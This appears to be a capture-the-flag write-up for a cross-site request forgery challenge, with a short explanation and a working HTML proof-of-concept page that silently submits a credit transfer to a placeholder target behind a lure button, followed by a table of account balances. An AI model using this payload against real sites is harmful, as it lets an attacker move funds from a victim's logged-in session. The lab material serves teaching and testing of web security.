Goal: Log in as a victim account and trigger a cross-site credit transfer that returns a flag.
State-changing actions without CSRF protection let an attacker ride the victim session. Once the victim is logged in, an attacker-controlled page can submit the transfer form and move credits as the victim.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Attack Example</h2>
<p>This page is crafted by an attacker to demonstrate a CSRF vulnerability. In a real-world scenario, a victim would be lured to this page while logged into the target website.</p>
<form action="TARGET_URL" method="post">
<input type="hidden" name="receiver" value="user1">
<input type="hidden" name="amount" value="100">
<input type="submit" value="Click me for a surprise!">
</form>
</body>
</html>
| Username | Credits |
|---|---|
| user1 | 5000 |
| user2 | 4500 |
| user3 | 4000 |